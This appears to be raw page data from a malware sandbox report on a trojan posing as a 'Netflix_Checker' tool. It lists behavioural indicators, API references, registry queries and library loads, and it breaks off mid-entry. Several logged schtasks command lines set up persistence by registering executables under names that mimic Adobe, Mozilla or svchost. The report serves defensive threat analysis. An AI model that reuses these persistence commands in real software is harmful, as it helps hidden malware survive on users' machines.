21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 4d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T49a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample ee5db783f4fc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ee5db783f4fc…. Malware family: Mint.Zard.Generic. Threat score 100/100. 20/30 AV engines flagged this file. 15 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae"],"about":{"@type":"SoftwareApplication","name":"ee5db. Trojan.exe","applicationCategory":["peexe","executable"],"identifier":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":20,"total":30},"behavioralIndicators":{"malicious":15,"suspicious":34},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:Tad6,Process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe" /sc onstart /f" (UID: 00000000-00004584) Process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00007672) Process "schtasks.exe" with commandline "schtasks /create /tn "hrxmx1BJRn" /tr "%APPDATA%\\Adobe\\Service_Adobe.exe" /sc onstart /f" (UID: 00000000-00000696) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Identities\\Service_Identities.exe" /sc onstart /f" (UID: 00000000-00005660) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Macromedia\\Service_Macromedia.exe" /sc onstart /f" (UID: 00000000-00004988) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Microsoft\\Service_Microsoft.exe" /sc onstart /f" (UID: 00000000-00007376) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Mozilla\\Service_Mozilla.exe" /sc onstart /f" (UID: 00000000-00005884) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Sun\\Service_Sun.exe" /sc onstart /f" (UID: 00000000-00005868) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Wireshark\\Service_Wireshark.exe" /sc onstart /f" (UID: 00000000-00008856) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{3E3CE09031442691943543}\\Service_{3E3CE09031442691943543}.exe" /sc onstart /f" (UID: 00000000-00009000) Process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{A068533DBF09758809014}\\Service_{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00008420) Process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"'" (UID: 00000000-00007128) Process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"'" (UID: 00000000-00005116) Process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "" /sc onstart /f" (UID: 00000000-00005620) Process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00008940) Process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00006736)23:T6f4,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00005736.00000000.82398.0095B000.00000002.mdmp")24:T46e,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ee5db. Trojan.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "ee5db. Trojan.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "ee5db. Trojan.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "ee5db. Trojan.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "ee5db. Trojan.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "ee5db. Trojan.exe") Found reference to API "Process32First" (Indicator: "Process32First"; File: "ee5db. Trojan.exe") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "ee5db. Trojan.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "ee5db. Trojan.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "ee5db. Trojan.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "ee5db. Trojan.exe")25:T18bd,Found string "FromBase64String" (Indicator: "base64"; File: "ee5db. Trojan.exe") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "ee5db. Trojan.exe") file/memory contains long string with (Indicator: "ecdsa"; File: "ee5db. Trojan.exe") file/memory contains long string with (Indicator: "base64"; File: "Netflix_Checker.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "Netflix_Checker.exe") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found string "OFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp, 00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.026A0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp")26:T427,"ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\SVCWHOST.EXE"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\NETFLIX_CHECKER.EXE"; Value: "") "svcwhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "svcwhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "svcwhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "svcwhost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SCHTASKS.EXE"; Value: "")27:T57d,"System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006016.00000000.82441.01D20000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006016.00000000.82441.01D20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006016.00000001.82692.00480000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006016.00000001.82692.00480000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp "To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp "To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006016.00000001.82692.01D20000.00000004.mdmp28:Ta4a,"ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "EE5DB.TROJAN.EXE"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "ee5db.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")29:T1c00,"ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004344) "svcwhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005968) "svcwhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005968) "svcwhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005968) "svcwhost.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005968) "svcwhost.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005968) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00006396)2a:T12ed,Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-108-004103C4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-108-004103C4 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-137-00414A8A Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-137-00414A8A Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 48249-4025-004136C1 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 48249-4025-004136C1 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 48249-4025-004136C1 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 48249-4025-004136C1 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4103-00404658 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4103-00404658 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4223-004045A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4287-0040B3C2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4287-0040B3C2 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4288-00412AC6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4288-00412AC6 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4297-00414657 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4297-00414657 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4353-00410F7E Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4353-00410F7E Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4374-00416F42 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4374-00416F42 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4376-00417195 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4376-00417195 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4462-00465DC4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4462-00465DC4 Assembly shows XOR instruction xor eax ebp in Stream UID: 48249-4488-00467EEB Assembly shows XOR instruction xor ecx ebp in Stream UID: 48249-4488-00467EEB Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00005736-49315-55-009536C1 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 